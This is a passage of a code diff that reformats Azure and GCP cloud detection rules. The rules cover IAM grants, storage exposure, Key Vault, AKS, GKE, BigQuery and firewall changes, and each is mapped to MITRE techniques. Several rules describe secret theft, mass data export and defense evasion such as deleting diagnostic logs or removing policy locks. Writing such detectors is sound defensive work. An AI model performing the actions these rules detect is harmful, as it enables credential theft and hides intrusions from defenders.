- when={"operation_name_endswith": "diagnosticSettings/delete"},
- fp=["Log pipeline migration"], playbook="tpl-defense-evasion"),
- S(slug="azure-arm-mass-resource-modify", name="Azure Mass Resource Modify Burst",
- severity="medium", mitre=["t1485"], product="azure", service="activity",
- when={"operation_name_endswith_any": ["/write", "/delete"], "events_per_minute_gt": 200},
- fp=["IaC pipeline run"], playbook="tpl-impact"),
- S(slug="azure-arm-management-group-removed", name="Azure Management Group Removed",
- severity="high", mitre=["t1485"], product="azure", service="activity",
- when={"operation_name_endswith": "managementGroups/delete"},
- fp=["Org restructure"], playbook="tpl-impact"),
- S(slug="azure-arm-subscription-transferred", name="Azure Subscription Transferred",
- severity="critical", mitre=["t1078.004"], product="azure", service="activity",
- when={"operation_name_contains": "subscriptions/transfer"},
- fp=["Approved EA migration"], playbook="tpl-impact"),
+ S(
+ slug="azure-arm-policy-assignment-deleted",
+ name="Azure Policy Assignment Deleted",
+ severity="high",
+ mitre=["t1562.001"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "policyAssignments/delete", "scope_root": True},
+ fp=["Policy refactor"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="azure-arm-blueprint-deleted",
+ name="Azure Blueprint Assignment Removed",
+ severity="medium",
+ mitre=["t1562.001"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "blueprintAssignments/delete"},
+ fp=["Subscription decommission"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="azure-arm-role-assignment-owner-tenant",
+ name="Azure Role Assignment Owner At Tenant Scope",
+ severity="critical",
+ mitre=["t1078.004"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "roleAssignments/write", "role": "Owner", "scope_root": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="azure-arm-locks-removed-bulk",
+ name="Azure ResourceGroup Locks Removed In Bulk",
+ severity="high",
+ mitre=["t1485"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "locks/delete", "events_per_minute_gt": 10},
+ fp=["Decommission project"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="azure-arm-diagnostic-settings-deleted",
+ name="Azure Diagnostic Settings Deleted",
+ severity="critical",
+ mitre=["t1562.008"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "diagnosticSettings/delete"},
+ fp=["Log pipeline migration"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="azure-arm-mass-resource-modify",
+ name="Azure Mass Resource Modify Burst",
+ severity="medium",
+ mitre=["t1485"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith_any": ["/write", "/delete"], "events_per_minute_gt": 200},
+ fp=["IaC pipeline run"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="azure-arm-management-group-removed",
+ name="Azure Management Group Removed",
+ severity="high",
+ mitre=["t1485"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "managementGroups/delete"},
+ fp=["Org restructure"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="azure-arm-subscription-transferred",
+ name="Azure Subscription Transferred",
+ severity="critical",
+ mitre=["t1078.004"],
+ product="azure",
+ service="activity",
+ when={"operation_name_contains": "subscriptions/transfer"},
+ fp=["Approved EA migration"],
+ playbook="tpl-impact",
+ ),
# ---- Storage (5) ----
- S(slug="azure-storage-blob-anonymous-read", name="Azure Storage Container Allows Anonymous Read",
- severity="critical", mitre=["t1530"], product="azure", service="activity",
- when={"operation_name_endswith": "blobServices/containers/write", "public_access_in": ["Container", "Blob"]},
- fp=["Static-site container by design"], playbook="tpl-data-exposure"),
- S(slug="azure-storage-account-firewall-disabled", name="Azure Storage Account Firewall Disabled",
- severity="high", mitre=["t1133"], product="azure", service="activity",
- when={"operation_name_endswith": "storageAccounts/write", "default_action": "Allow"},
- fp=["Public datalake by design"], playbook="tpl-initial-access"),
- S(slug="azure-storage-shared-key-issued", name="Azure Storage Shared Access Signature Generated With Long TTL",
- severity="medium", mitre=["t1078"], product="azure", service="activity",
- when={"operation_name_contains": "ListKeys", "ttl_days_gt": 365},
- fp=[FP_AUTOMATION], playbook="tpl-credential-access"),
- S(slug="azure-storage-immutability-removed", name="Azure Storage Immutability Policy Removed",
- severity="high", mitre=["t1485"], product="azure", service="activity",
- when={"operation_name_endswith": "immutabilityPolicies/delete"},
- fp=["Retention review"], playbook="tpl-impact"),
- S(slug="azure-storage-soft-delete-disabled", name="Azure Blob Soft Delete Disabled",
- severity="medium", mitre=["t1490"], product="azure", service="activity",
- when={"operation_name_endswith": "blobServices/write", "delete_retention_enabled": False},
- fp=[FP_TUNING], playbook="tpl-impact"),
+ S(
+ slug="azure-storage-blob-anonymous-read",
+ name="Azure Storage Container Allows Anonymous Read",
+ severity="critical",
+ mitre=["t1530"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "blobServices/containers/write", "public_access_in": ["Container", "Blob"]},
+ fp=["Static-site container by design"],
+ playbook="tpl-data-exposure",
+ ),
+ S(
+ slug="azure-storage-account-firewall-disabled",
+ name="Azure Storage Account Firewall Disabled",
+ severity="high",
+ mitre=["t1133"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "storageAccounts/write", "default_action": "Allow"},
+ fp=["Public datalake by design"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="azure-storage-shared-key-issued",
+ name="Azure Storage Shared Access Signature Generated With Long TTL",
+ severity="medium",
+ mitre=["t1078"],
+ product="azure",
+ service="activity",
+ when={"operation_name_contains": "ListKeys", "ttl_days_gt": 365},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="azure-storage-immutability-removed",
+ name="Azure Storage Immutability Policy Removed",
+ severity="high",
+ mitre=["t1485"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "immutabilityPolicies/delete"},
+ fp=["Retention review"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="azure-storage-soft-delete-disabled",
+ name="Azure Blob Soft Delete Disabled",
+ severity="medium",
+ mitre=["t1490"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "blobServices/write", "delete_retention_enabled": False},
+ fp=[FP_TUNING],
+ playbook="tpl-impact",
+ ),
# ---- Key Vault (5) ----
- S(slug="azure-keyvault-purge-protection-disabled", name="Azure Key Vault Purge Protection Disabled",
- severity="high", mitre=["t1485"], product="azure", service="keyvault",
- when={"operation_name_endswith": "vaults/write", "enable_purge_protection": False},
- fp=[FP_TUNING], playbook="tpl-impact"),
- S(slug="azure-keyvault-secret-mass-get", name="Azure Key Vault Mass GetSecret",
- severity="high", mitre=["t1552.001"], product="azure", service="keyvault",
- when={"operation_name": "SecretGet", "distinct_secrets_per_minute_gt": 30},
- fp=["App boot"], playbook="tpl-credential-access"),
- S(slug="azure-keyvault-access-policy-broadened", name="Azure Key Vault Access Policy Adds Permission '*'",
- severity="critical", mitre=["t1098"], product="azure", service="keyvault",
- when={"operation_name_endswith": "vaults/accessPolicies/write", "permissions_contains": "all"},
- fp=[], playbook="tpl-privilege-escalation"),
- S(slug="azure-keyvault-firewall-allow-all", name="Azure Key Vault Network ACL Allows All",
- severity="high", mitre=["t1133"], product="azure", service="keyvault",
- when={"operation_name_endswith": "vaults/write", "default_action": "Allow"},
- fp=[FP_TUNING], playbook="tpl-initial-access"),
- S(slug="azure-keyvault-key-export-allowed", name="Azure Key Vault Key Export Attribute Set",
- severity="high", mitre=["t1552"], product="azure", service="keyvault",
- when={"operation_name_endswith": "keys/create", "exportable": True},
- fp=["Approved cross-region migration"], playbook="tpl-credential-access"),
+ S(
+ slug="azure-keyvault-purge-protection-disabled",
+ name="Azure Key Vault Purge Protection Disabled",
+ severity="high",
+ mitre=["t1485"],
+ product="azure",
+ service="keyvault",
+ when={"operation_name_endswith": "vaults/write", "enable_purge_protection": False},
+ fp=[FP_TUNING],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="azure-keyvault-secret-mass-get",
+ name="Azure Key Vault Mass GetSecret",
+ severity="high",
+ mitre=["t1552.001"],
+ product="azure",
+ service="keyvault",
+ when={"operation_name": "SecretGet", "distinct_secrets_per_minute_gt": 30},
+ fp=["App boot"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="azure-keyvault-access-policy-broadened",
+ name="Azure Key Vault Access Policy Adds Permission '*'",
+ severity="critical",
+ mitre=["t1098"],
+ product="azure",
+ service="keyvault",
+ when={"operation_name_endswith": "vaults/accessPolicies/write", "permissions_contains": "all"},
+ fp=[],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="azure-keyvault-firewall-allow-all",
+ name="Azure Key Vault Network ACL Allows All",
+ severity="high",
+ mitre=["t1133"],
+ product="azure",
+ service="keyvault",
+ when={"operation_name_endswith": "vaults/write", "default_action": "Allow"},
+ fp=[FP_TUNING],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="azure-keyvault-key-export-allowed",
+ name="Azure Key Vault Key Export Attribute Set",
+ severity="high",
+ mitre=["t1552"],
+ product="azure",
+ service="keyvault",
+ when={"operation_name_endswith": "keys/create", "exportable": True},
+ fp=["Approved cross-region migration"],
+ playbook="tpl-credential-access",
+ ),
# ---- AKS / Compute (5) ----
- S(slug="azure-aks-cluster-public-fqdn", name="Azure AKS Cluster API With Public FQDN",
- severity="high", mitre=["t1133"], product="azure", service="activity",
- when={"operation_name_endswith": "managedClusters/write", "private_cluster": False, "authorized_ip_ranges_empty": True},
- fp=["Lab"], playbook="tpl-initial-access"),
- S(slug="azure-aks-rbac-disabled", name="Azure AKS Cluster RBAC Disabled",
- severity="high", mitre=["t1556"], product="azure", service="activity",
- when={"operation_name_endswith": "managedClusters/write", "enable_rbac": False},
- fp=["Lab"], playbook="tpl-defense-evasion"),
- S(slug="azure-vm-runcommand", name="Azure VM RunCommand Invoked",
- severity="high", mitre=["t1059"], product="azure", service="activity",
- when={"operation_name_endswith": "virtualMachines/runCommand/action"},
- fp=["Approved DevOps script"], playbook="tpl-execution"),
- S(slug="azure-vm-extension-customscript", name="Azure VM CustomScript Extension Installed",
- severity="medium", mitre=["t1059"], product="azure", service="activity",
- when={"operation_name_endswith": "extensions/write", "extension_type": "CustomScript"},
- fp=["Cloud-init bootstrap"], playbook="tpl-execution"),
- S(slug="azure-vm-disk-encryption-disabled", name="Azure VM Disk Encryption Disabled",
- severity="medium", mitre=["t1485"], product="azure", service="activity",
- when={"operation_name_endswith": "encryptionExtensions/write", "encryption_enabled": False},
- fp=["Data classification change"], playbook="tpl-impact"),
+ S(
+ slug="azure-aks-cluster-public-fqdn",
+ name="Azure AKS Cluster API With Public FQDN",
+ severity="high",
+ mitre=["t1133"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "managedClusters/write", "private_cluster": False, "authorized_ip_ranges_empty": True},
+ fp=["Lab"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="azure-aks-rbac-disabled",
+ name="Azure AKS Cluster RBAC Disabled",
+ severity="high",
+ mitre=["t1556"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "managedClusters/write", "enable_rbac": False},
+ fp=["Lab"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="azure-vm-runcommand",
+ name="Azure VM RunCommand Invoked",
+ severity="high",
+ mitre=["t1059"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "virtualMachines/runCommand/action"},
+ fp=["Approved DevOps script"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="azure-vm-extension-customscript",
+ name="Azure VM CustomScript Extension Installed",
+ severity="medium",
+ mitre=["t1059"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "extensions/write", "extension_type": "CustomScript"},
+ fp=["Cloud-init bootstrap"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="azure-vm-disk-encryption-disabled",
+ name="Azure VM Disk Encryption Disabled",
+ severity="medium",
+ mitre=["t1485"],
+ product="azure",
+ service="activity",
+ when={"operation_name_endswith": "encryptionExtensions/write", "encryption_enabled": False},
+ fp=["Data classification change"],
+ playbook="tpl-impact",
+ ),
]
@@ -447,130 +1125,343 @@ AZURE_RULES: list[dict] = [
# ---------------------------------------------------------------------------
GCP_RULES: list[dict] = [
# ---- IAM (10) ----
- S(slug="gcp-iam-allusers-binding", name="GCP IAM Binding Adds allUsers / allAuthenticatedUsers",
- severity="critical", mitre=["t1530"], product="gcp", service="audit",
- when={"method_name_endswith": "SetIamPolicy", "added_member_in": ["allUsers", "allAuthenticatedUsers"]},
- fp=["Public dataset by design"], playbook="tpl-data-exposure"),
- S(slug="gcp-iam-service-account-disable", name="GCP Service Account Disabled",
- severity="medium", mitre=["t1531"], product="gcp", service="audit",
- when={"method_name_endswith": "DisableServiceAccount"},
- fp=["Decommissioning"], playbook="tpl-impact"),
- S(slug="gcp-iam-service-account-actas-grant", name="GCP iam.serviceAccountUser Grant",
- severity="high", mitre=["t1078.004"], product="gcp", service="audit",
- when={"method_name_endswith": "SetIamPolicy", "role_added": "roles/iam.serviceAccountUser"},
- fp=[FP_AUTOMATION], playbook="tpl-privilege-escalation"),
- S(slug="gcp-iam-token-creator-grant", name="GCP iam.serviceAccountTokenCreator Grant",
- severity="high", mitre=["t1078.004"], product="gcp", service="audit",
- when={"method_name_endswith": "SetIamPolicy", "role_added": "roles/iam.serviceAccountTokenCreator"},
- fp=[FP_AUTOMATION], playbook="tpl-privilege-escalation"),
- S(slug="gcp-iam-billing-admin-grant", name="GCP roles/billing.admin Granted",
- severity="high", mitre=["t1098"], product="gcp", service="audit",
- when={"method_name_endswith": "SetIamPolicy", "role_added": "roles/billing.admin"},
- fp=["Org bootstrap"], playbook="tpl-privilege-escalation"),
- S(slug="gcp-iam-org-policy-disabled", name="GCP Organization Policy Constraint Disabled",
- severity="high", mitre=["t1562.001"], product="gcp", service="audit",
- when={"method_name_endswith": "SetOrgPolicy", "list_policy_all_values": "ALLOW"},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="gcp-iam-service-account-key-mass-create", name="GCP Service Account Key Burst",
- severity="high", mitre=["t1098.001"], product="gcp", service="audit",
- when={"method_name_endswith": "CreateServiceAccountKey", "events_per_minute_gt": 5},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="gcp-iam-grant-from-foreign-domain", name="GCP IAM Binding To External Domain",
- severity="high", mitre=["t1199"], product="gcp", service="audit",
- when={"method_name_endswith": "SetIamPolicy", "added_member_external_domain": True},
- fp=["Approved partner identity"], playbook="tpl-initial-access"),
- S(slug="gcp-iam-impersonation-burst", name="GCP Service Account Impersonation Burst",
- severity="high", mitre=["t1078.004"], product="gcp", service="audit",
- when={"method_name_endswith": "GenerateAccessToken", "distinct_targets_per_minute_gt": 10},
- fp=[FP_AUTOMATION], playbook="tpl-credential-access"),
- S(slug="gcp-iam-conditional-binding-removed", name="GCP IAM Conditional Binding Removed",
- severity="medium", mitre=["t1556"], product="gcp", service="audit",
- when={"method_name_endswith": "SetIamPolicy", "condition_removed": True},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
+ S(
+ slug="gcp-iam-allusers-binding",
+ name="GCP IAM Binding Adds allUsers / allAuthenticatedUsers",
+ severity="critical",
+ mitre=["t1530"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "SetIamPolicy", "added_member_in": ["allUsers", "allAuthenticatedUsers"]},
+ fp=["Public dataset by design"],
+ playbook="tpl-data-exposure",
+ ),
+ S(
+ slug="gcp-iam-service-account-disable",
+ name="GCP Service Account Disabled",
+ severity="medium",
+ mitre=["t1531"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "DisableServiceAccount"},
+ fp=["Decommissioning"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="gcp-iam-service-account-actas-grant",
+ name="GCP iam.serviceAccountUser Grant",
+ severity="high",
+ mitre=["t1078.004"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "SetIamPolicy", "role_added": "roles/iam.serviceAccountUser"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="gcp-iam-token-creator-grant",
+ name="GCP iam.serviceAccountTokenCreator Grant",
+ severity="high",
+ mitre=["t1078.004"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "SetIamPolicy", "role_added": "roles/iam.serviceAccountTokenCreator"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="gcp-iam-billing-admin-grant",
+ name="GCP roles/billing.admin Granted",
+ severity="high",
+ mitre=["t1098"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "SetIamPolicy", "role_added": "roles/billing.admin"},
+ fp=["Org bootstrap"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="gcp-iam-org-policy-disabled",
+ name="GCP Organization Policy Constraint Disabled",
+ severity="high",
+ mitre=["t1562.001"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "SetOrgPolicy", "list_policy_all_values": "ALLOW"},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="gcp-iam-service-account-key-mass-create",
+ name="GCP Service Account Key Burst",
+ severity="high",
+ mitre=["t1098.001"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "CreateServiceAccountKey", "events_per_minute_gt": 5},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="gcp-iam-grant-from-foreign-domain",
+ name="GCP IAM Binding To External Domain",
+ severity="high",
+ mitre=["t1199"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "SetIamPolicy", "added_member_external_domain": True},
+ fp=["Approved partner identity"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="gcp-iam-impersonation-burst",
+ name="GCP Service Account Impersonation Burst",
+ severity="high",
+ mitre=["t1078.004"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "GenerateAccessToken", "distinct_targets_per_minute_gt": 10},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="gcp-iam-conditional-binding-removed",
+ name="GCP IAM Conditional Binding Removed",
+ severity="medium",
+ mitre=["t1556"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "SetIamPolicy", "condition_removed": True},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
# ---- GCS (6) ----
- S(slug="gcp-gcs-bucket-iam-allusers", name="GCS Bucket IAM Granted To allUsers",
- severity="critical", mitre=["t1530"], product="gcp", service="audit",
- when={"method_name_endswith_any": ["storage.setIamPermissions", "storage.buckets.update"], "added_member_in": ["allUsers", "allAuthenticatedUsers"]},
- fp=["Public CDN bucket by design"], playbook="tpl-data-exposure"),
- S(slug="gcp-gcs-uniform-access-disabled", name="GCS Uniform Bucket-Level Access Disabled",
- severity="medium", mitre=["t1530"], product="gcp", service="audit",
- when={"method_name_endswith": "storage.buckets.update", "uniform_bucket_level_access": False},
- fp=[FP_TUNING], playbook="tpl-data-exposure"),
- S(slug="gcp-gcs-mass-delete", name="GCS Mass Object Delete Burst",
- severity="critical", mitre=["t1485"], product="gcp", service="audit",
- when={"method_name": "storage.objects.delete", "events_per_minute_gt": 1000},
- fp=["Lifecycle rule"], playbook="tpl-impact"),
- S(slug="gcp-gcs-bucket-retention-removed", name="GCS Bucket Retention Policy Removed",
- severity="high", mitre=["t1485"], product="gcp", service="audit",
- when={"method_name_endswith": "storage.buckets.removeRetentionPolicy"},
- fp=[FP_TUNING], playbook="tpl-impact"),
- S(slug="gcp-gcs-versioning-disabled", name="GCS Object Versioning Disabled",
- severity="medium", mitre=["t1490"], product="gcp", service="audit",
- when={"method_name_endswith": "storage.buckets.update", "versioning_enabled": False},
- fp=[FP_TUNING], playbook="tpl-impact"),
- S(slug="gcp-gcs-cors-wildcard", name="GCS Bucket CORS Wildcard Origin",
- severity="medium", mitre=["t1530"], product="gcp", service="audit",
- when={"method_name_endswith": "storage.buckets.update", "cors_origin": "*"},
- fp=["Public API by design"], playbook="tpl-data-exposure"),
+ S(
+ slug="gcp-gcs-bucket-iam-allusers",
+ name="GCS Bucket IAM Granted To allUsers",
+ severity="critical",
+ mitre=["t1530"],
+ product="gcp",
+ service="audit",
+ when={
+ "method_name_endswith_any": ["storage.setIamPermissions", "storage.buckets.update"],
+ "added_member_in": ["allUsers", "allAuthenticatedUsers"],
+ },
+ fp=["Public CDN bucket by design"],
+ playbook="tpl-data-exposure",
+ ),
+ S(
+ slug="gcp-gcs-uniform-access-disabled",
+ name="GCS Uniform Bucket-Level Access Disabled",
+ severity="medium",
+ mitre=["t1530"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "storage.buckets.update", "uniform_bucket_level_access": False},
+ fp=[FP_TUNING],
+ playbook="tpl-data-exposure",
+ ),
+ S(
+ slug="gcp-gcs-mass-delete",
+ name="GCS Mass Object Delete Burst",
+ severity="critical",
+ mitre=["t1485"],
+ product="gcp",
+ service="audit",
+ when={"method_name": "storage.objects.delete", "events_per_minute_gt": 1000},
+ fp=["Lifecycle rule"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="gcp-gcs-bucket-retention-removed",
+ name="GCS Bucket Retention Policy Removed",
+ severity="high",
+ mitre=["t1485"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "storage.buckets.removeRetentionPolicy"},
+ fp=[FP_TUNING],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="gcp-gcs-versioning-disabled",
+ name="GCS Object Versioning Disabled",
+ severity="medium",
+ mitre=["t1490"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "storage.buckets.update", "versioning_enabled": False},
+ fp=[FP_TUNING],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="gcp-gcs-cors-wildcard",
+ name="GCS Bucket CORS Wildcard Origin",
+ severity="medium",
+ mitre=["t1530"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "storage.buckets.update", "cors_origin": "*"},
+ fp=["Public API by design"],
+ playbook="tpl-data-exposure",
+ ),
# ---- GKE (5) ----
- S(slug="gcp-gke-rbac-anonymous", name="GKE Cluster Anonymous Auth Enabled",
- severity="critical", mitre=["t1133"], product="gcp", service="audit",
- when={"method_name_endswith": "clusters.update", "anonymous_auth": True},
- fp=[], playbook="tpl-initial-access"),
- S(slug="gcp-gke-private-cluster-disabled", name="GKE Cluster Private Cluster Disabled",
- severity="high", mitre=["t1133"], product="gcp", service="audit",
- when={"method_name_endswith": "clusters.update", "private_cluster": False, "authorized_networks_empty": True},
- fp=["Lab cluster"], playbook="tpl-initial-access"),
- S(slug="gcp-gke-workload-identity-disabled", name="GKE Workload Identity Disabled",
- severity="medium", mitre=["t1078"], product="gcp", service="audit",
- when={"method_name_endswith": "clusters.update", "workload_identity_config": None},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="gcp-gke-shielded-nodes-disabled", name="GKE Shielded Nodes Disabled",
- severity="medium", mitre=["t1610"], product="gcp", service="audit",
- when={"method_name_endswith": "clusters.update", "shielded_nodes": False},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="gcp-gke-binary-auth-disabled", name="GKE Binary Authorization Disabled",
- severity="medium", mitre=["t1610"], product="gcp", service="audit",
- when={"method_name_endswith": "clusters.update", "binary_authorization": False},
- fp=[FP_TUNING], playbook="tpl-supply-chain"),
+ S(
+ slug="gcp-gke-rbac-anonymous",
+ name="GKE Cluster Anonymous Auth Enabled",
+ severity="critical",
+ mitre=["t1133"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "clusters.update", "anonymous_auth": True},
+ fp=[],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="gcp-gke-private-cluster-disabled",
+ name="GKE Cluster Private Cluster Disabled",
+ severity="high",
+ mitre=["t1133"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "clusters.update", "private_cluster": False, "authorized_networks_empty": True},
+ fp=["Lab cluster"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="gcp-gke-workload-identity-disabled",
+ name="GKE Workload Identity Disabled",
+ severity="medium",
+ mitre=["t1078"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "clusters.update", "workload_identity_config": None},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="gcp-gke-shielded-nodes-disabled",
+ name="GKE Shielded Nodes Disabled",
+ severity="medium",
+ mitre=["t1610"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "clusters.update", "shielded_nodes": False},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="gcp-gke-binary-auth-disabled",
+ name="GKE Binary Authorization Disabled",
+ severity="medium",
+ mitre=["t1610"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "clusters.update", "binary_authorization": False},
+ fp=[FP_TUNING],
+ playbook="tpl-supply-chain",
+ ),
# ---- BigQuery (5) ----
- S(slug="gcp-bq-dataset-allusers-access", name="BigQuery Dataset ACL Adds allUsers",
- severity="critical", mitre=["t1530"], product="gcp", service="audit",
- when={"method_name": "datasetservice.update", "added_member_in": ["allUsers", "allAuthenticatedUsers"]},
- fp=["Public dataset by design"], playbook="tpl-data-exposure"),
- S(slug="gcp-bq-mass-export", name="BigQuery Mass Export Burst",
- severity="high", mitre=["t1567.002"], product="gcp", service="audit",
- when={"method_name_in": ["jobservice.jobcompleted", "jobs.insert"], "job_type": "EXPORT", "events_per_minute_gt": 5},
- fp=["Scheduled BI export"], playbook="tpl-exfiltration"),
- S(slug="gcp-bq-cross-project-query", name="BigQuery Query Across External Project",
- severity="medium", mitre=["t1083"], product="gcp", service="audit",
- when={"method_name": "jobservice.jobcompleted", "referenced_project_external": True},
- fp=["Cross-project analytics by design"], playbook="tpl-discovery"),
- S(slug="gcp-bq-table-deleted-recently-created", name="BigQuery Table Deleted Within 1 Hour Of Creation",
- severity="medium", mitre=["t1485"], product="gcp", service="audit",
- when={"method_name": "tableservice.delete", "table_age_minutes_lt": 60},
- fp=["Test/CI run"], playbook="tpl-impact"),
- S(slug="gcp-bq-cmek-removed", name="BigQuery Dataset CMEK Removed",
- severity="medium", mitre=["t1485"], product="gcp", service="audit",
- when={"method_name": "datasetservice.update", "kms_key_removed": True},
- fp=[FP_TUNING], playbook="tpl-impact"),
+ S(
+ slug="gcp-bq-dataset-allusers-access",
+ name="BigQuery Dataset ACL Adds allUsers",
+ severity="critical",
+ mitre=["t1530"],
+ product="gcp",
+ service="audit",
+ when={"method_name": "datasetservice.update", "added_member_in": ["allUsers", "allAuthenticatedUsers"]},
+ fp=["Public dataset by design"],
+ playbook="tpl-data-exposure",
+ ),
+ S(
+ slug="gcp-bq-mass-export",
+ name="BigQuery Mass Export Burst",
+ severity="high",
+ mitre=["t1567.002"],
+ product="gcp",
+ service="audit",
+ when={"method_name_in": ["jobservice.jobcompleted", "jobs.insert"], "job_type": "EXPORT", "events_per_minute_gt": 5},
+ fp=["Scheduled BI export"],
+ playbook="tpl-exfiltration",
+ ),
+ S(
+ slug="gcp-bq-cross-project-query",
+ name="BigQuery Query Across External Project",
+ severity="medium",
+ mitre=["t1083"],
+ product="gcp",
+ service="audit",
+ when={"method_name": "jobservice.jobcompleted", "referenced_project_external": True},
+ fp=["Cross-project analytics by design"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="gcp-bq-table-deleted-recently-created",
+ name="BigQuery Table Deleted Within 1 Hour Of Creation",
+ severity="medium",
+ mitre=["t1485"],
+ product="gcp",
+ service="audit",
+ when={"method_name": "tableservice.delete", "table_age_minutes_lt": 60},
+ fp=["Test/CI run"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="gcp-bq-cmek-removed",
+ name="BigQuery Dataset CMEK Removed",
+ severity="medium",
+ mitre=["t1485"],
+ product="gcp",
+ service="audit",
+ when={"method_name": "datasetservice.update", "kms_key_removed": True},
+ fp=[FP_TUNING],
+ playbook="tpl-impact",
+ ),
# ---- Compute / Networking (4) ----
- S(slug="gcp-compute-firewall-source-any-port-any", name="GCP Firewall Rule 0.0.0.0/0 With Any Port",
- severity="high", mitre=["t1133"], product="gcp", service="audit",
- when={"method_name_endswith": "firewalls.insert", "source_ranges_contains": "0.0.0.0/0", "port_any": True},
- fp=["Lab project"], playbook="tpl-initial-access"),
- S(slug="gcp-compute-instance-public-ip-attached", name="GCP Compute Public IP Attached To Instance",
- severity="medium", mitre=["t1133"], product="gcp", service="audit",
- when={"method_name_endswith": "instances.insert", "external_ip_attached": True, "label_internal": True},
- fp=[FP_TUNING], playbook="tpl-initial-access"),
- S(slug="gcp-compute-os-login-disabled", name="GCP Project OS Login Disabled",
- severity="medium", mitre=["t1556"], product="gcp", service="audit",
- when={"method_name_endswith": "projects.setCommonInstanceMetadata", "metadata_oslogin": "FALSE"},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="gcp-compute-shielded-vm-disabled", name="GCP Compute Shielded VM Disabled",
- severity="medium", mitre=["t1610"], product="gcp", service="audit",
- when={"method_name_endswith": "instances.update", "shielded_instance_config": False},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
+ S(
+ slug="gcp-compute-firewall-source-any-port-any",
+ name="GCP Firewall Rule 0.0.0.0/0 With Any Port",
+ severity="high",
+ mitre=["t1133"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "firewalls.insert", "source_ranges_contains": "0.0.0.0/0", "port_any": True},
+ fp=["Lab project"],
+ playbook="tpl-initial-access",
+ ),
+ S(
